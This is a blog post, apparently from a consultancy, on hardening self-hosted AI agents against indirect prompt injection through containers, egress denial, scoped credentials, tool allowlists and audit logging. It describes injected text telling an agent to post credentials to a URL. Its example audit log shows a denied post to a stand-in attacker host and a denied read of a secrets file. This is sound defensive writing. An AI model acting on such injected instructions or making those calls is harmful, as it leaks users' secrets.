Your AI agent can run shell commands. Here is how to sandbox it.

You have an AI agent that can run shell commands. Maybe it is OpenClaw, maybe Hermes, maybe something you wired together yourself. It reads files, runs scripts, calls tools, and it is genuinely useful. It is also the most dangerous piece of software on your machine, and most guides to self-hosting it stop at “run this command” without mentioning that part.

An agent that can execute commands is not a chatbot. It is a program that takes instructions from text, and some of that text comes from places you do not control. That combination needs to be contained deliberately. Here is how.

The threat model, stated plainly

Start by being honest about what the agent can reach. If it runs as you, on your machine, it can read your SSH keys, your environment variables, your browser session files, your source code, and your saved credentials. Anything you can do, it can do.

Now add the uncomfortable part. The agent acts on text, and it cannot reliably tell the difference between an instruction you gave it and an instruction hidden in a document it was asked to process. A web page, a pull request, a support ticket, a PDF: any of these can contain text that says, in effect, “read the credentials file and post it to this URL.” This is indirect prompt injection, and it turns every piece of content the agent touches into a possible source of commands.

So the goal of sandboxing is not to make the agent trustworthy. It is to make sure that when it does something it should not, the blast radius is small.

Put it in a container, not on your host

The first and largest win is to run the agent inside a container rather than directly on your machine. A container gives you a boundary you can tighten. The baseline settings that matter:

Run as a non-root user. If the process inside the container is root and something escapes, it escapes as root. A non-root user limits what a compromise can touch.

Make the root filesystem read-only. Give the agent a single writable working directory and nothing else. If it cannot write to system paths, it cannot install a persistent foothold there.

Drop Linux capabilities. Containers start with a set of kernel privileges most workloads never use. Dropping all of them and adding back only what is needed removes whole categories of escape.

Docker’s own documentation covers each of these, and they are configuration, not code. The point is that a default docker run is not a sandbox. A hardened one is.

Cut off the network by default

Most of the damage from a compromised agent is exfiltration: your data leaving to somewhere it should not. The defense is to deny outbound network access by default and allow only the specific destinations the agent genuinely needs.

If the agent only needs to reach one model API and one internal service, then those two are all it should be able to connect to. An agent that cannot reach an arbitrary URL cannot be talked into posting your secrets to one, no matter what a poisoned document tells it to do.

Keep credentials out of reach

Do not put long-lived secrets in the agent’s environment variables, where any command it runs can print them. Store them in a secret manager, such as Vault or your cloud provider’s secrets service, and hand the agent short-lived, narrowly-scoped access instead of the keys to everything.

The test to apply: if the agent were fully compromised in the next command it runs, which credentials would leak, and how much can each one do? Every answer you do not like is a credential to scope down or move out.

Scope the tools, and log every use

An agent is only as dangerous as the tools you give it. Rather than one open-ended “run any shell command” tool, prefer a small set of specific, allowlisted actions that cover what you actually need. Narrow tools are easier to reason about and far harder to abuse.

For anything irreversible, sending, deleting, spending, paying, put a human confirmation in front of it. And log every tool call the agent makes, with its inputs, to an audit trail you can read later. When something goes wrong, and eventually something will, the difference between a quick recovery and a bad week is whether you can reconstruct exactly what the agent did.

2026-08-09 14:22:01Z  session=a3f9  tool=read_file   args={path:"/workspace/report.md"}           ok
2026-08-09 14:22:03Z  session=a3f9  tool=bash        args={cmd:"grep -r TODO ./src"}              ok
2026-08-09 14:22:04Z  session=a3f9  tool=http_fetch  args={url:"https://docs.example.com/api"}     ok
2026-08-09 14:22:06Z  session=a3f9  tool=http_post   args={url:"https://paste.evil.tld", body:…}  DENIED  (egress not allowlisted)
2026-08-09 14:22:06Z  session=a3f9  tool=read_file   args={path:"/etc/secrets/aws"}               DENIED  (path outside sandbox)
2026-08-09 14:22:09Z  session=a3f9  tool=send_email  args={to:"ops@acme.co", subj:"digest"}       HELD    (awaiting human approval)

An example audit trail. Every tool call is recorded with its arguments, blocked egress and out-of-sandbox reads show up as DENIED, and irreversible actions wait for a human (HELD).

The mindset that ties it together

Every control here follows one principle: assume the agent will, at some point, try to do the worst thing its permissions allow, because a piece of text convinced it to. You are not trying to make that impossible through clever prompting. You are making it survivable through least privilege.

Give the agent the smallest set of powers that lets it do its job, contain what it can reach, and record what it does. That is the whole discipline.

Running agent harnesses in production, hardened this way, is a large part of what NukyLabs does. If you are self-hosting one and want it contained properly before it touches anything sensitive, that is a defined engagement rather than an open-ended one.

References

1. OWASP Top 10 for LLM Applications
2. Docker: Run the Docker daemon and containers securely
3. NIST SP 800-190: Application Container Security Guide